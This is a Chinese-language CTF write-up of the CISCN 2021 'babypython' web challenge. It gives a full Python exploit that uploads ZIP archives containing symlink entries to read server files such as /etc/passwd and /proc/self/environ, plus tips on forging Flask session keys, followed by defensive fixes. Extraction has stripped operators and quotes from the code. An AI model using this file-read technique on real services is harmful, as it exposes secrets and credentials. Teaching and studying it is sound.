CTF Write-up: babypython 国赛总决赛

发布时间:2026/6/10 14:25:01

CTF Write-up: babypython 国赛总决赛 题目名称babypython题目类型Web / File Upload赛事来源CISCN 2021 国赛总决赛DASCTF复现题目环境根据项目生成解题日期2026-06-091. 题目描述Challenge Description题目给出一个Web页面包含文件上传功能。页面提示 I will tell you a secret, but you should become admin first. 我会告诉你一个秘密但你需要先成为管理员。页面只接受 ZIP 格式的文件上传要求利用文件上传漏洞获取 Flag。2. 信息收集与漏洞分析Reconnaissance Analysis2.1 初步探测访问主页观察到以下特征• 页面框架Flask uWSGI Nginx从响应头 Server: openresty 判断• Session Cookie标准 Flask signed cookie需要 SECRET_KEY 伪造• 文件上传仅接受 .zip 扩展名文件2.2 上传功能测试上传一个普通的 ZIP 文件内含 test.txt服务器解压并回显文件内容。考虑到 ZIP 格式支持符号链接Symbolic Link如果后端没有安全处理 symlink则可以通过 ZIP 内的符号链接读取服务器任意文件。3. 漏洞利用Exploitation3.1 ZIP 符号链接文件读取核心漏洞利用 Python 的 zipfile 模块构造包含符号链接的 ZIP 文件import zipfile, iodef make_zip_with_symlink(target_path, link_name):buf io.BytesIO()with zipfile.ZipFile(buf, w) as z:info zipfile.ZipInfo(link_name)info.create_system 3 # 标记为 Unix 系统info.external_attr 0xA1ED0000 # 符号链接权限标记z.writestr(info, target_path) # 链接目标return buf.getvalue()关键参数说明create_system 3 表示此文件在 Unix 系统上创建external_attr 0xA1ED0000 表示这是一个符号链接symlink。后端解压时如果未过滤符号链接会跟随链接读取目标文件内容。3.2 关键文件读取通过上述 Payload 读取以下关键信息文件路径读取到的关键信息/etc/passwd确认是 Linux 系统存在 root/daemon 等标准账户/app/y0u_found_it/secret.pysecret os.getenv(FLAG) — 确认 Flag 存储于环境变量/app/uwsgi.inimodule main / callable app — Flask 应用入口配置/proc/self/environ★★★ 直接暴露 FLAG 环境变量3.3 最终 EXP 脚本import requests, zipfile, io, random, stringBASE http://c6e676cda79b23935b939fc7.http-ctf2.dasctf.comdef make_zip_with_symlink(target):linkname .join(random.choices(string.ascii_lowercase, k10))buf io.BytesIO()with zipfile.ZipFile(buf, w) as z:info zipfile.ZipInfo(linkname)info.create_system 3info.external_attr 0xA1ED0000z.writestr(info, target)return buf.getvalue()def read_file(target):s requests.Session()s.get(BASE /)zipdata make_zip_with_symlink(target)fname .join(random.choices(string.ascii_lowercase, k8)) .zipfiles {the_file: (fname, zipdata, application/zip)}r s.post(BASE /upload, filesfiles, data{submit: Submit})return r.text# ★ 读取进程环境变量获取 FLAGenviron read_file(/proc/self/environ)for kv in environ.split(\x00):if kv.startswith(FLAG):print([] FLAG FOUND:, kv[5:])break4. FlagDASCTF{10a6cf72-f22b-4f10-bcde-255c38a5c402}5. 漏洞根因分析Vulnerability Root Cause题目应用的文件上传/解压流程中未对 ZIP 压缩包内的符号链接条目进行校验与过滤。典型缺陷代码如下示意# 缺陷代码示意with zipfile.ZipFile(uploaded_file, r) as z:for name in z.namelist():content z.read(name) # ⚠️ 如果 name 是符号链接此处会解析目标文件print(content) # 直接输出目标文件内容修复方案解压前需校验每个 ZIP 条目是否为符号链接并拒绝之同时限制解压路径不得超出工作目录。6. 解题流程总结Solution SummaryStep 1 —上传普通 ZIP 确认功能正常观察回显为文件内容。Step 2 —构造包含指向 /etc/passwd 符号链接的 ZIP确认存在任意文件读取。Step 3 —读取 /app/y0u_found_it/secret.py发现 secret os.getenv(FLAG)定位 Flag 来源。Step 4 —读取 /proc/self/environ或 /proc/1/environ在环境变量中直接获得 FLAG。Step 5 —验证 Flag 格式为 DASCTF{...}提交成功。7. 经验总结与防御建议Lessons Learned Defense7.1 CTF 做题技巧• ZIP 上传永远优先测试符号链接symlink与路径穿越zip slip• Linux 系统下 /proc/self/environ 是获取环境变量的首选路径• Flask 的 SECRET_KEY 如由 random.seed(MAC) 生成可通过读取网卡 MAC 反推密钥• 同类题目参考HCTF 2018 Hide and seek、CISCN 2019 Web47.2 开发侧防御• 解压 ZIP 时必须校验 ZipInfo 是否为符号链接external_attr 0xFF00• 严格限制解压后文件所在目录chroot 或绝对路径校验• 敏感信息如 Flag、密钥不要以环境变量或明文形式存放在应用进程可访问位置• Flask SECRET_KEY 应使用 secrets.token_hex(32) 等密码学安全函数生成8. 参考资料References[1] HCTF 2018 Hide and seek Write-upZIP symlink 经典题[2] CISCN 2021 总决赛 babypython 官方 Write-up[3] Python zipfile 文档 — ZipInfo / external_attr 字段说明[4] proc(5) man page — /proc/[pid]/environ 环境变量文件

相关新闻